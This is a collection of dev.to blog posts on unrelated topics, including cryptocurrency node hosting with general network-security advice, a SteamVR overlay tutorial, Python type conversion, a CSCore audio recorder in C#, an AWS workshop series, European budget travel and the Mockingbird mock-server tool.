1,890,191 | Cryptocurrency Nodes and Network Security | 1. Cryptocurrency Nodes in Docker Cryptocurrency nodes that can run inside Docker include... | 0 | 2024-06-16T10:32:48 | https://dev.to/grounzero-blog/cryptocurrency-nodes-and-network-security-cgh | ### 1. Cryptocurrency Nodes in Docker
Cryptocurrency nodes that can run inside Docker include [Bitcoin](https://bitcoin.org/en/developer-documentation), [Ethereum](https://geth.ethereum.org/docs/), [Litecoin](https://litecoin.info/), [Monero](https://www.getmonero.org/resources/user-guides/), [Cardano](https://docs.cardano.org/), [Polkadot](https://wiki.polkadot.network/docs/learn-introduction), [Binance Smart Chain](https://docs.binance.org/smart-chain/developer.html), [Tezos](https://tezos.gitlab.io/introduction/overview.html), [EOSIO](https://developers.eos.io/), [Ripple](https://xrpl.org/docs.html), [Stellar](https://developers.stellar.org/docs/), [Chainlink](https://docs.chain.link/), [Zcash](https://zcash.readthedocs.io/en/latest/), [Solana](https://docs.solana.com/), [Algorand](https://developer.algorand.org/docs/), and [Avalanche](https://docs.avax.network/). Key considerations for these nodes include system requirements, ease of setup, popularity, frequency of updates, and profitability.
### 2. Detailed Information on System Requirements and Setup
Each node's CPU, RAM, storage requirements, and ease of setup are detailed. Additionally, profitability and network security considerations are highlighted, providing a comprehensive overview for those looking to host these nodes.
| Cryptocurrency | Docker Image | CPU | RAM | Storage | Popularity | Last Updated | Frequency of Updates | Ease of Setup | Profitability | Network Security | Other Considerations | Resources |
|-----------------------|------------------------------------------------------------------------------------------------|-----------|-------|---------|------------|---------------|----------------------|---------------|---------------|------------------|------------------------------------------------------------|--------------------------------------------------------------------------------------------|
| Algorand (ALGO) | [algorand/go-algorand](https://hub.docker.com/r/algorand/go-algorand) | 2+ cores | 4 GB+ | 128 GB+ | High | March 2024 | Monthly | Moderate | Moderate | High | Low hardware requirements, efficient consensus | [Algorand Docs](https://developer.algorand.org/docs/) |
| Avalanche (AVAX) | [avaplatform/avalanchego](https://hub.docker.com/r/avaplatform/avalanchego) | 4+ cores | 8 GB+ | 500 GB+ | High | April 2024 | Monthly | Moderate | High | High | High scalability, supports multiple blockchains | [Avalanche Docs](https://docs.avax.network/) |
| Binance Smart Chain (BSC) | [binance/binance-smart-chain](https://hub.docker.com/r/binance/binance-smart-chain) | 4+ cores | 16 GB+ | 1 TB+ | Very High | April 2024 | Bi-Monthly | Moderate | High | High | High initial setup costs, potential for high returns | [BSC Docs](https://docs.binance.org/smart-chain/developer.html) |
| Bitcoin (BTC) | [ruimarinho/bitcoin-core](https://hub.docker.com/r/ruimarinho/bitcoin-core) | 2+ cores | 2 GB+ | 350 GB+ | Very High | March 2024 | Monthly | Easy | Low | High | Low initial costs, high reliability | [Bitcoin Core Docs](https://bitcoin.org/en/developer-documentation) |
| Cardano (ADA) | [inputoutput/cardano-node](https://hub.docker.com/r/inputoutput/cardano-node) | 2+ cores | 8 GB+ | 10 GB+ | High | March 2024 | Quarterly | Moderate | High | High | Active community participation, governance involvement | [Cardano Docs](https://docs.cardano.org/) |
| Chainlink (LINK) | [smartcontract/chainlink](https://hub.docker.com/r/smartcontract/chainlink) | 2+ cores | 4 GB+ | 50 GB+ | High | March 2024 | Monthly | Moderate | High | High | Oracle reliability critical, potential high returns | [Chainlink Docs](https://docs.chain.link/) |
| EOSIO (EOS) | [eosio/eos](https://hub.docker.com/r/eosio/eos) | 4+ cores | 16 GB+ | 500 GB+ | Moderate | February 2024 | Bi-Monthly | Difficult | Moderate | Moderate | High hardware requirements, community trust needed | [EOSIO Docs](https://developers.eos.io/) |
| Ethereum (ETH) | [ethereum/client-go](https://hub.docker.com/r/ethereum/client-go) | 4+ cores | 8 GB+ | 1 TB+ | Very High | April 2024 | Bi-Monthly | Moderate | High | High | Requires significant initial investment, technical expertise| [Ethereum Docs](https://geth.ethereum.org/docs/) |
| Litecoin (LTC) | [uphold/litecoin-core](https://hub.docker.com/r/uphold/litecoin-core) | 2+ cores | 2 GB+ | 50 GB+ | High | February 2024 | Monthly | Easy | Low | High | Low costs, simple setup | [Litecoin Docs](https://litecoin.info/) |
| Monero (XMR) | [monero](https://hub.docker.com/r/monero) | 4+ cores | 4 GB+ | 100 GB+ | High | January 2024 | Monthly | Moderate | Low | Very High | High privacy and security considerations | [Monero Docs](https://www.getmonero.org/resources/user-guides/) |
| Polkadot (DOT) | [parity/polkadot](https://hub.docker.com/r/parity/polkadot) | 2+ cores | 8 GB+ | 100 GB+ | High | April 2024 | Monthly | Moderate | High | High | Requires ongoing updates, active participation | [Polkadot Docs](https://wiki.polkadot.network/docs/learn-introduction) |
| Ripple (XRP) | [xrptipbot/rippled](https://hub.docker.com/r/xrptipbot/rippled) | 2+ cores | 8 GB+ | 200 GB+ | Very High | March 2024 | Monthly | Moderate | Low | High | Trusted validator requirements, moderate complexity | [Ripple Docs](https://xrpl.org/docs.html) |
| Solana (SOL) | [solana-labs/solana](https://hub.docker.com/r/solanalabs/solana) | 8+ cores | 16 GB+| 1 TB+ | Very High | April 2024 | Monthly | Difficult | High | High | High-performance hardware required, significant bandwidth and storage needs | [Solana Docs](https://docs.solana.com/) |
### 3. Network Security Considerations
Essential network security measures for hosting cryptocurrency nodes include:
- **Firewall Configuration:** Restrict access to necessary ports and IPs.
- **VPN and Encrypted Connections:** Use VPNs and secure SSH with key-based authentication.
- **Network Segmentation:** Isolate nodes from the main network using VLANs or DMZs.
- **Regular Updates and Patching:** Keep node software, Docker images, and the underlying OS updated.
- **Monitoring and Logging:** Implement logging, monitoring, and intrusion detection systems.
- **Access Control:** Enforce strict user management and multifactor authentication (MFA).
- **Backup and Disaster Recovery:** Regularly back up data and have a disaster recovery plan.
- **Network Hardening:** Disable unnecessary services and follow best practices.
- **Rate Limiting and DDoS Protection:** Implement rate limiting and consider DDoS protection services.
- **Secure Configuration of Docker:** Isolate containers and avoid root privileges.
## 4. DDoS Protection and Intrusion Detection Systems (IDS)
Options for DDoS protection and IDS are categorized into free/open-source and commercial solutions, along with their pros, cons, and costs:
- **DDoS Protection:**
- **Cloud-based:** Cloudflare, AWS Shield, Akamai Kona Site Defender.
- **On-Premises:** Arbor Networks, Radware DefensePro.
- **Hybrid:** F5 Networks Silverline.
- **Intrusion Detection Systems (IDS):**
- **Network-based IDS (NIDS):** Snort, Suricata.
- **Host-based IDS (HIDS):** OSSEC, Tripwire.
- **Integrated IDS/IPS:** AlienVault OSSIM, Zeek (formerly Bro).
### DDoS Protection and IDS Options with Cost Information
| Category | Solution | Overview | Pros | Cons | Cost | Type |
|----------------------------|-----------------------------|--------------------------------------------------------|------------------------------------------------------------|-----------------------------------------------------------|------------------------------------------------------------|----------------------------|
| Cloud-based DDoS Protection | Cloudflare | Global DDoS protection, CDN, and WAF | Easy setup, scalable, additional features | High cost for advanced plans, potential overblocking | Free tier available, advanced plans can be expensive | Commercial (Free tier available) |
| Cloud-based DDoS Protection | AWS Shield | Integrated with AWS services | Seamless AWS integration, advanced threat detection | Requires AWS infrastructure, complex management | Pay-as-you-go, can be expensive based on usage | Commercial |
| Cloud-based DDoS Protection | Akamai Kona Site Defender | Comprehensive DDoS protection | High performance, extensive network | Expensive, geared towards large enterprises | Commercial, pricing varies, generally expensive | Commercial |
| On-Premises DDoS Protection | Arbor Networks | On-premises DDoS protection appliances | High control, effective for large networks | Expensive, requires hardware and maintenance | Commercial, pricing varies | Commercial |
| On-Premises DDoS Protection | Radware DefensePro | DDoS detection and mitigation appliances | Comprehensive protection, low latency | High cost, complex setup | Commercial, pricing varies | Commercial |
| Hybrid DDoS Protection | F5 Networks Silverline | Combines cloud-based and on-premises protection | Flexible deployment, effective against various attacks | High cost, requires integration | Commercial, pricing varies | Commercial |
| Network-based IDS (NIDS) | Snort | Open-source NIDS with real-time traffic analysis | Free, customizable, large community | Manual configuration, resource-intensive | Free and open-source | Free and Open-Source |
| Network-based IDS (NIDS) | Suricata | Multi-threaded IDS/IPS | Open-source, scalable, rich features | Complex setup, regular maintenance required | Free and open-source | Free and Open-Source |
| Host-based IDS (HIDS) | OSSEC | Open-source HIDS for log analysis and integrity checking | Free, supports various OS, active community | Can generate false positives, needs tuning | Free and open-source | Free and Open-Source |
| Host-based IDS (HIDS) | Tripwire | HIDS with file integrity monitoring | Highly reliable, detailed reporting | Expensive commercial version, complex configuration | Free (open-source version), commercial version available | Free and Open-Source, Commercial|
| Integrated IDS/IPS | AlienVault OSSIM | SIEM integrating IDS, vulnerability assessment, and more | Comprehensive security management, open-source | Complex setup, significant resource requirements | Free and open-source | Free and Open-Source |
| Integrated IDS/IPS | Zeek (formerly Bro) | Network analysis framework focused on security monitoring | Powerful analysis, highly customizable | Steep learning curve, requires dedicated resources | Free and open-source | Free and Open-Source | | grounzero-blog | |
1,890,174 | SteamVR Overlay with Unity: Introduction | This tutorial will guide you through creating a SteamVR overlay application in Unity using the OpenVR... | 27,740 | 2024-06-16T10:31:29 | https://dev.to/kurohuku/introduction-1gbn | unity3d, steamvr, openvr, vr | This tutorial will guide you through creating a SteamVR overlay application in Unity using the [OpenVR API](https://github.com/ValveSoftware/openvr). Overlay applications are suitable for various utilities since they can be launched simultaneously with VR games.
## Sample Application
We will create a simple watch overlay application. The watch is hidden by default, and a controller button will display it for a few seconds. (Click to play GIF animation)

We will also create a dashboard to switch which hand to display the watch.

## Prerequisites
Everything in this tutorial is confirmed to work in the following environment.
- [SteamVR](https://store.steampowered.com/app/250820/SteamVR/) beta 2.5.2
- [Unity](https://unity.com/) 2022.3.21
- [SteamVR Unity Plugin](https://assetstore.unity.com/packages/tools/integration/steamvr-plugin-32647) v2.8.0 (OpenVR v2.0.10 included)
- [Meta Quest 3](https://www.meta.com/jp/en/quest/quest-3/) (firmware v63)
- [Virtual Desktop](https://www.vrdesktop.net/) v1.30.5 to connect HMD to SteamVR
- Windows 11
It is fine to use another connection method if it can connect to SteamVR.
## Feedback
If you notice incorrect information or have feedback, contact [kurohuku](https://x.com/kurohuku7).
## Special Thanks
I appreciate [@ArkStructCodes](https://github.com/arkstructcodes) for my English support. | kurohuku |
1,890,189 | Binary Tree | This is a submission for DEV Computer Science Challenge v24.06.12: One Byte Explainer. ... | 0 | 2024-06-16T10:24:55 | https://dev.to/olgabraginskaya/binary-tree-5eij | devchallenge, cschallenge, computerscience, beginners | *This is a submission for [DEV Computer Science Challenge v24.06.12: One Byte Explainer](https://dev.to/challenges/cs).*
## Explainer
**Binary Tree**: A structure with nodes, each having up to two children, where the left is smaller and the right is larger. It allows fast operations by halving the dataset, reducing tasks to O(log n). Essential for managing data in databases and file systems.
## Additional Context
<!-- Please share any additional context you think the judges should take into consideration as it relates to your One Byte Explainer. -->
Introduced in the 1960s, binary trees revolutionized data organization. They're foundational in algorithms, enabling efficient searching and sorting. Used in applications like databases and file systems, they handle large datasets quickly and reliably.

<!-- Team Submissions: Please pick one member to publish the submission and credit teammates by listing their DEV usernames directly in the body of the post. -->
<!-- Don't forget to add a cover image to your post (if you want). -->
<!-- Thanks for participating! --> | olgabraginskaya |
1,890,188 | Type conversions (Also known as Type Casting) in Python | When we convert the value of one datatype into another datatype then it is known as type conversion.... | 0 | 2024-06-16T10:21:10 | https://dev.to/pulkitgovrani/type-conversions-also-known-as-type-casting-in-python-lg3 | devchallenge, cschallenge, computerscience, beginners | When we convert the value of one datatype into another datatype then it is known as type conversion. There are two types of type conversions:
1. Implicit Type Conversion
2. Explicit Type Conversion
## Implicit Type Conversion
In this type conversion python automatically converts a value of one datatype into another datatype. It will convert datatype having lower preference to the datatype having higher preference.
### Code Example:

Output:

Since float has higher preference so the output will also be in float. This is very useful because we will not loose our data.
But there are some values of one datatypes which can be converted another implicitly. That’s why we have explicit type conversions.
## Converting integer to string
### Code

Output

## Explicit Type Conversion
In explicit type conversion, the user has to mention explicitly to which value of one datatype he/she wants to convert to another datatype. This can be done by using predefined functions like int(), str(), float().
### Code

Output

I hope you were able to understand type conversions in python. Do comment below in case of any doubts.
| pulkitgovrani |
1,890,181 | Using CSCore for VoiceRecorder Application | Using CSCore for VoiceRecorder Application CSCore is a powerful .NET library for audio processing... | 0 | 2024-06-16T10:12:52 | https://dev.to/themysteriousstranger90/using-cscore-for-voicerecorder-application-2hp0 | csharp, dotnet, programming, opensource | **Using CSCore for VoiceRecorder Application**
CSCore is a powerful .NET library for audio processing and recording, offering a wide range of functionalities to work with sound. It supports multiple audio formats and devices, making it a go-to choice for developers working on audio-related applications. In this article I'll show you how to use CSCore using my simple VoiceRecorder application as an example, available on [GitHub](https://github.com/TheMysteriousStranger90/VoiceRecorder) and [SourceForge](https://sourceforge.net/projects/voice-recorder-stranger90/). I will focus on the core audio functionalities provided by CSCore and how they are integrated into my application. Note that we will not cover Avalonia UI or the MVVM design pattern.
**Introduction to CSCore**
CSCore offers a variety of features that make it an ideal choice for developers working on projects that require audio input and output. Some of the key features of CSCore include:
- Support for multiple audio formats:
CSCore can handle various audio formats.
- Audio capture and playback:
The library provides robust methods for capturing audio from different devices and playing back audio files.
- Audio processing:
CSCore supports audio filtering, effects, and mixing, making it suitable for complex audio processing tasks.
- Device management:
The library allows easy enumeration and selection of audio devices.
**Key Features of VoiceRecorder**
VoiceRecorder is an easy-to-use application designed to record audio from selected devices. It’s good for quick recordings and audio testing. The application simplifies the process of selecting an audio device, starting and stopping recordings, and saving the audio to a file. VoiceRecorder allows you to choose from three available filters to enhance your audio or record without any filters if you prefer.
**Core Classes and Functionality**
_AudioDevice Class_
The AudioDevice class is responsible for managing the audio devices available on the system. It uses the MMDeviceEnumerator from CSCore's CoreAudioAPI to list and select audio capture devices.
```
public sealed class AudioDevice : IDisposable
{
// Enumerates multimedia devices, allowing us to list
private MMDeviceEnumerator _mmdeviceEnumerator;
private bool _disposed = false;
public AudioDevice()
{
_mmdeviceEnumerator = new MMDeviceEnumerator();
}
// Retrieves a list of available audio capture devices
public List<string> GetAvailableDevices()
{
return _mmdeviceEnumerator.EnumAudioEndpoints(DataFlow.Capture, DeviceState.Active)
.Select(device => device.FriendlyName) // Gets the friendly name of each device
.ToList();
}
// Selects an audio device by its friendly name
public MMDevice SelectDevice(string deviceName)
{
return _mmdeviceEnumerator.EnumAudioEndpoints(DataFlow.Capture, DeviceState.Active)
.FirstOrDefault(device => device.FriendlyName == deviceName);
}
// Implements the Dispose pattern to release unmanaged resources
private void Dispose(bool disposing)
{
if (!_disposed)
{
if (disposing)
{
if (_mmdeviceEnumerator != null)
{
_mmdeviceEnumerator.Dispose();
_mmdeviceEnumerator = null;
}
}
_disposed = true;
}
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
}
```
_AudioRecorder Class_
The AudioRecorder class handles the core recording functionality. It uses WasapiCapture for capturing audio and WaveWriter for writing the captured audio to a WAV file. The class also supports applying audio filters during recording.
```
public sealed class AudioRecorder : IDisposable
{
private WasapiCapture _capture; // Captures audio from the selected device
private WaveWriter _writer; // Writes captured audio to a WAV file
private bool _disposed = false;
private SoundInSource _soundInSource; // Source for audio data from the capture device
public IWaveSource CaptureSource => _soundInSource; // Exposes the current audio source
// Starts recording audio from the specified device to a WAV file
public void StartRecording(string outputFilePath, MMDevice device, IAudioFilter filter)
{
try
{
// Initialize audio capture with the selected device
_capture = new WasapiCapture();
_capture.Device = device;
_capture.Initialize();
// Create a SoundInSource to handle audio data
_soundInSource = new SoundInSource(_capture) { FillWithZeros = false };
// Apply filter if provided, otherwise use the raw source
IWaveSource filteredSource;
if (filter != null)
{
filteredSource = filter.ApplyFilter((IWaveSource)_soundInSource);
}
else
{
filteredSource = _soundInSource;
}
// Initialize WaveWriter to save the audio to a file
_writer = new WaveWriter(outputFilePath, filteredSource.WaveFormat);
// Buffer to hold audio data
byte[] buffer = new byte[filteredSource.WaveFormat.BytesPerSecond / 2];
// Event handler for when audio data is available
_capture.DataAvailable += (s, e) =>
{
int read;
while ((read = filteredSource.Read(buffer, 0, buffer.Length)) > 0)
{
_writer.Write(buffer, 0, read);
}
};
// Start audio capture
_capture.Start();
}
catch (Exception ex)
{
Console.WriteLine($"An error occurred: {ex.Message}");
}
}
// Stops the recording process and releases resources
public void StopRecording()
{
try
{
_capture.Stop();
_writer.Dispose();
}
catch (Exception ex)
{
Console.WriteLine($"An error occurred: {ex.Message}");
}
}
// Updates the audio source, allowing for dynamic changes during recording
public void UpdateSource(IWaveSource newSource)
{
_capture.Stop();
_soundInSource = newSource as SoundInSource;
if (_soundInSource != null)
{
_capture.Start();
}
else
{
Console.WriteLine("newSource is not a SoundInSource");
}
}
// Implements the Dispose pattern to release unmanaged resources
private void Dispose(bool disposing)
{
if (!_disposed)
{
if (disposing)
{
if (_capture != null)
{
_capture.Dispose();
_capture = null;
}
if (_writer != null)
{
_writer.Dispose();
_writer = null;
}
}
_disposed = true;
}
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
}
```
**Key Moments of MainWindowViewModel**
The MainWindowViewModel class manages the interaction between the user interface and the main recording functionality. It maintains application state, processes user commands, and coordinates the recording process. However, in this article I want to focus only on the StartRecording method
```
public class MainWindowViewModel : ViewModelBase
{
...
public void StartRecording(string deviceName, VoiceFilterViewModel filterViewModel)
{
// Generate a unique file path for the recording based on the device name
string filePath = AudioFilePathHelper.GenerateAudioFilePath(deviceName);
// Select the audio device that matches the provided device name
var device = Device.SelectDevice(deviceName);
// Check if a filter is provided and start recording with or without the filter
if (filterViewModel != null && filterViewModel.FilterStrategy != null)
{
// Start recording with the provided filter strategy
Recorder.StartRecording(filePath, device, filterViewModel.FilterStrategy);
}
else
{
// Start recording without any filter
Recorder.StartRecording(filePath, device, null);
}
// Set the recording state to true to indicate that recording has started
IsRecording = true;
// If filters are applied and a filter is selected, apply the filter command
if (IsFilterApplied && SelectedFilterViewModel != null)
{
ApplyFilterCommand();
}
}
```
The StartRecording method in the MainWindowViewModel class initializes the recording process by selecting the appropriate audio device, determining whether to apply an audio filter, and starting the recording. It also updates the recording state and applies any selected filter if applicable.
**Conclusion**
In this article I did not touch on many topics: for example, working with filters and View classes. However, the purpose of this article was to show a clear example of using the CSCore library to capture and process audio. Using CSCore's robust features, we can create a simple yet powerful audio recording application. The focus on core classes and functions makes the application efficient and easy to understand, making it a suitable starting point for more complex audio processing projects. Happy coding!
| themysteriousstranger90 |
1,890,180 | Rejected, Not Deflected: My Journey After Out in Tech | Landing a mentor can be a game-changer in the tech industry. As an aspiring LGBTQ+ developer, I was... | 0 | 2024-06-16T10:07:57 | https://dev.to/annaliesetech/rejected-not-deflected-my-journey-after-out-in-tech-18pd | webdev, technology, lgbtq, mentorship | Landing a mentor can be a game-changer in the tech industry. As an aspiring LGBTQ+ developer, I was particularly drawn to Out in Tech’s mentorship program. Not only does it champion inclusivity, but the project-based approach with a dedicated mentor seemed like the perfect fit for my learning style. Unfortunately, my application wasn’t selected this time around.
While rejection can be discouraging, it hasn’t deterred me. Out in Tech’s mission of fostering a supportive environment for LGBTQ+ professionals resonates deeply with me. I understand that competition for spots must be fierce, and I was eager to learn more. I sent a follow-up email to the program manager inquiring about successful applicant profiles and future program cycles, but haven’t received a response — a small hurdle in the grand scheme of things.
Instead of dwelling on the “no,” I’ve focused on the “how.” My hunger for knowledge hasn’t diminished. I’ve actively sought other avenues for growth. Participating in fellowships like DataTalksClub and 100 Devs, alongside earning a micro-credential from Queensborough’s Software Engineering Bootcamp, has kept my momentum going.
The tech industry demands not just technical prowess but also resilience. While a mentor would have been fantastic, this setback has ignited a fire within me. It’s a reminder that the path to success rarely follows a straight line. My journey may have taken a detour, but the destination remains the same — to become a skilled and impactful developer within an inclusive tech space.
This experience has underscored a valuable lesson: sometimes, the best opportunities arise from unexpected rejections. My dedication to learning hasn’t wavered, and I’m one step closer to achieving my goals. For other aspiring LGBTQ+ developers out there, remember: your grit and determination are just as valuable as your technical skills. Keep pushing forward, and success will follow. | annaliesetech |
1,890,176 | @Autowired magic in SpringBoot | Disclosure: I'm quite an experienced developer (currently go/python/bit of rust, scala/c# in the... | 0 | 2024-06-16T10:01:26 | https://dev.to/msedzins/autowired-magic-in-springboot-fb7 | webdev, programming, springboot | **Disclosure:** I'm quite an experienced developer (currently go/python/bit of rust, scala/c# in the past), but a newbie when it comes to Spring Boot.
Recently, I've had to use it in one of my projects and somewhere in the code, I've come across this interesting annotation:
`@Autowired`
When I've read about it, I couldn't believe my eyes:
> In Spring Boot, the @Autowired annotation is used for automatic dependency injection.
This means that Spring will automatically resolve and inject any beans that your object depends on.
I'm familiar with Dependency Injection, but I've never thought that anyone could use, or even propose to use, such an approach.
It's pure magic. I strongly believe that DI should be explicit, and the developer should be aware of what dependencies are injected into his/her class.
Here is, in my opinion, a much better approach to the problem:
https://github.com/google/wire
Wire is a compile-time dependency injection tool. Dependencies are defined in a separate file, and the developer is always aware of what is injected into his/her class.
I'm curious about your opinion on this topic. Do you think that @Autowired is a good approach to DI? Or maybe you prefer a more explicit approach like Wire? Or maybe you have your own way of doing DI? I'm looking forward to your answers. | msedzins |
1,889,492 | Databricks -- Caja negra? | Desde hace un tiempo para aca he interesado en conocer nuevas herramientas un poco mas de las... | 0 | 2024-06-16T09:56:25 | https://dev.to/andresguecha/databricks-caja-negra-6ld | Desde hace un tiempo para aca he interesado en conocer nuevas herramientas
un poco mas de las tipicas en el mundo de los datos, temas Cloud AWS, Azure y GCP y dentro de ellas soluciones orientadas a la ingenieria de datos.
Existen aplicaciones muy potentes que practicamente permiten realizar todo el proceso de ingesta, transformacion y servicio de datos, aplicando metodologias de arquitectura de datos, ya sea un DWH, una datalake o lake house.
Sin embargo exite una que en los ultimos meses me ha intrigado bastante, esta es databricks, sinceramente no sabia lo que era, entonces me puse hacer la tarea.
| andresguecha | |
1,890,175 | cheap countries to visit in March in europ | March is an ideal time to explore Europe without breaking the bank. Here’s a comprehensive guide to... | 0 | 2024-06-16T09:50:59 | https://dev.to/blogland/cheap-countries-to-visit-in-march-in-europ-34bc |

March is an ideal time to explore Europe without breaking the bank. Here’s a comprehensive guide to help you discover affordable destinations and make the most of your trip.
You can use the contents of this page for [cheap countries to travel in winter with family](https://dev.to/blogland/cheap-countries-to-travel-in-winter-with-family-3f66)
## Advantages of Traveling in March
Traveling in March offers several advantages:
Off-Peak Prices: Many destinations have lower travel costs as it’s outside of peak tourist season.
Milder Weather: Europe begins to warm up in March, making it pleasant for outdoor activities and sightseeing.
Fewer Crowds: Popular attractions are less crowded, allowing for a more relaxed travel experience.
Cultural Festivals: Some European cities host unique festivals and events in March, offering cultural insights.
Top Affordable European Destinations for March
Portugal
Portugal is known for its beautiful coastlines, historic cities, and affordable prices. Lisbon and Porto are perfect for exploring on a budget.
## Spain
Cities like Barcelona and Madrid offer a mix of culture, art, and vibrant nightlife, along with budget-friendly accommodations and dining options.
## Czech Republic
Prague, with its stunning architecture and rich history, is a budget-friendly destination offering affordable attractions and accommodations.
## Hungary
Budapest is famous for its thermal baths, historic landmarks, and affordable prices, making it an ideal choice for budget travelers.
## Poland
Krakow and Warsaw in Poland offer a wealth of history, charming old towns, and economical options for dining and lodging.

## Weather Overview for March Travel
March weather in Europe varies:
Southern Europe: Enjoy mild temperatures and sunny days in countries like Portugal and Spain.
Central Europe: Expect cooler temperatures with occasional rain showers in cities like Prague and Budapest.
Northern Europe: Prepare for colder weather in countries such as Poland, with potential snowfall.
Family-Friendly Activities in March
Outdoor Exploration
Explore parks, gardens, and historic sites suitable for all ages in cities like Lisbon, Barcelona, and Prague.
## Museums and Cultural Sites
Visit museums and cultural landmarks offering interactive exhibits and family-friendly activities.
## Local Festivals
Participate in family-friendly festivals and events celebrating local culture and traditions.
## Economical Accommodation Choices
Hostels and Guesthouses
Budget-friendly options offering family rooms and shared accommodations in popular European cities.
## Vacation Rentals
Book apartments or holiday homes through platforms like Airbnb for more space and kitchen facilities.
## Budget Hotels
Look for affordable hotel chains or boutique hotels offering discounts for early bookings.

## Tips for Saving Money on Your March Trip
Book Flights Early: Secure lower airfares by booking in advance or taking advantage of shoulder season discounts.
Use Public Transportation: Opt for city passes or public transport cards to save on commuting costs.
Eat Like a Local: Enjoy affordable meals at local cafes, markets, and street food vendors.
Free Attractions: Take advantage of free museum days, walking tours, and city parks.
## Planning a Budget-Friendly March Vacation
Set a Budget: Determine your total trip budget, including accommodations, meals, and activities.
Research Destinations: Choose cities offering affordable attractions and accommodations within your budget range.
Create an Itinerary: Plan activities and sightseeing tours that align with your interests and budget.
Pack Wisely: Pack layers for changing weather conditions and essentials like comfortable shoes and travel-sized toiletries.
## Packing Essentials for March Travel
Layered Clothing: Pack clothing suitable for variable weather conditions, including light jackets and sweaters.
Comfortable Footwear: Bring walking shoes or boots for exploring cities and tourist attractions.
Rain Gear: Pack a compact umbrella or waterproof jacket in case of rain showers.
Travel Essentials: Include travel adapters, chargers, medications, and any necessary documents for your trip.
Safety Tips for March Travelers
Stay Informed: Keep up-to-date on local news, weather forecasts, and any travel advisories.
Emergency Contacts: Have a list of emergency numbers, including local authorities and embassy contacts.
Health Precautions: Carry necessary medications and travel insurance that covers medical emergencies.
Secure Valuables: Use hotel safes or secure bags to store passports, cash, and electronics.

## Cultural Experiences in March on a Budget
Local Festivals and Events
Attend cultural festivals and events celebrating music, art, and local traditions in cities across Europe.
Historical Landmarks
Explore historic landmarks, cathedrals, and UNESCO World Heritage sites offering free or discounted entry.
Local Cuisine
Taste regional specialties and street food offerings at markets and local eateries known for their budget-friendly prices.
Exploring Europe in March can be both affordable and enriching, offering memorable experiences for families and friends alike. With careful planning and these tips, you can make the most of your budget-friendly March vacation while enjoying the cultural richness Europe has to offer. | blogland | |
1,890,173 | My 12 Weeks AWS Workshop Challenge: Helping You Gain Deep Hands-on Expertise on AWS | Introduction After completing my AWS CCP certification, I started brainstorming on what to do next to... | 0 | 2024-06-16T09:47:45 | https://dev.to/clintt/my-12-weeks-aws-workshop-challenge-helping-you-gain-deep-hands-on-expertise-on-aws-44o8 | **Introduction**
After completing my AWS CCP certification, I started brainstorming on what to do next to solidify the knowledge and skills that I gained from the AWS CCP certification. The 12 weeks AWS Workshop Challenge sprouted out of a tech meetup I was attending. And I said to myself, why not give it a shot.
I challenged myself to document my learnings and share my incredible journey as I delved deeper into this hand-on workshop.
**12 Weeks AWS Workshop Challenge**
This challenge is basically a collection of self-paced workshops developed by experts at AWS and is curated to help you to gain expertise in AWS gradually. These workshops is designed to develop your skills rig[](url)ht from beginner-level to advanced at your own pace.
At the end of it you'll get a good grasp of AWS core services and their applications. You'll gain practical skills, techniques, and concepts that you will help you solve business problems and strengthen your resume to showcase your cloud skills.
The workshop is broken down into 12 topics that span 12 weeks as seen below
[Week 1: AWS Core Services Overview](url)
| clintt | |
1,890,172 | My 12 Weeks AWS Workshop Challenge: Helping You Gain Deep Hands-on Expertise on AWS | Introduction Upon completing my AWS Certified Cloud Practitioner (CCP) certification, I began... | 0 | 2024-06-16T09:47:21 | https://dev.to/clintt/my-12-weeks-aws-workshop-challenge-helping-you-gain-deep-hands-on-expertise-on-aws-3ie9 | **Introduction**
Upon completing my AWS Certified Cloud Practitioner (CCP) certification, I began considering ways to further solidify the knowledge and skills I had acquired. The idea for the 12-Week AWS Workshop Challenge emerged from a tech meetup I attended, and I thought, why not take on the challenge?
I decided to document my learnings and share the journey as I immersed myself in this hands-on workshop experience.
**12 Weeks AWS Workshop Challenge**
The 12-Week AWS Workshop Challenge is a collection of self-paced workshops created by AWS experts. It is designed to help participants gradually gain expertise in AWS, progressing from beginner to advanced levels at their own pace.
By the end of the challenge, you will have a strong understanding of AWS core services and their applications. You will acquire practical skills, techniques, and concepts that will enable you to solve business problems effectively and enhance your resume to showcase your cloud capabilities.
The workshop is structured into 12 topics, each covered over the span of one week, as outlined below:
[Week 1: AWS Core Services Overview](url)
[Week 2: IAM](https://dev.to/clintt/week-2-mastering-aws-iam-4k0o)
[Week 3: Networking](url)
[Week 4: Storage](url)
[Week 5: Databases](url)
[Week 6: Infrastructure as code: Cloudformation](url)
[Week 7: Containers](url)
[Week 8: Serveless](url)
[Week 9: Event-Driven Architectures](url)
[Week 10: Analytics](url)
[Week 11: AI Coding Companion](url)
[Week 12: Observability](url)
| clintt | |
1,881,345 | Creating and Managing Multiple Projects and Servers with Mockingbird | In the fast-paced world of software development, efficiency and productivity are paramount.... | 27,642 | 2024-06-16T09:45:00 | https://dev.to/ozkeisar/creating-and-managing-multiple-projects-and-servers-with-mockingbird-a7b | testing, webdev, tooling, programming |
In the fast-paced world of software development, efficiency and productivity are paramount. Mockingbird, a powerful tool designed for creating and managing mock environments, offers developers a streamlined solution to enhance their workflows. This blog post will guide you through the process of creating and managing multiple projects and servers using Mockingbird, ensuring you can maximize your development and testing capabilities.
## Why Use Mockingbird?
Mockingbird is designed to address common challenges faced by developers, such as waiting for server development to be completed, which often leads to project delays. By providing a robust mock environment, Mockingbird allows developers to test APIs without the need for additional servers, significantly reducing integration times and boosting productivity.
## Getting Started with Mockingbird
Before diving into managing multiple projects and servers, let's start with the basics of setting up Mockingbird.
1. **Download and Installation**:
- Download the latest version of Mockingbird from the [Releases page on GitHub](https://github.com/ozkeisar/mockingbird/releases).
- Run the installer and follow the instructions to complete the installation.
2. **Initializing Your Project**:
- Launch Mockingbird and start a new project by entering a unique project name in the 'project name' input field.
- Open or create or clone repository, to start your project in Mockingbird.
## Managing Multiple Projects
Mockingbird allows you to manage multiple projects seamlessly, making it an ideal tool for teams working on various applications simultaneously.
1. **Creating another Project**:
- In the Mockingbird top bar, open the projects dropdown and then click on the `+ new project` button.
- Open or create or clone repository, to start your project in Mockingbird.
2. **Switching Between Projects**:
- Use the project dropdown menu to switch between different projects.
- Each project maintains its own set of routes, responses, and server configurations, ensuring a clean and organized workspace.
## Setting Up and Managing Multiple Servers
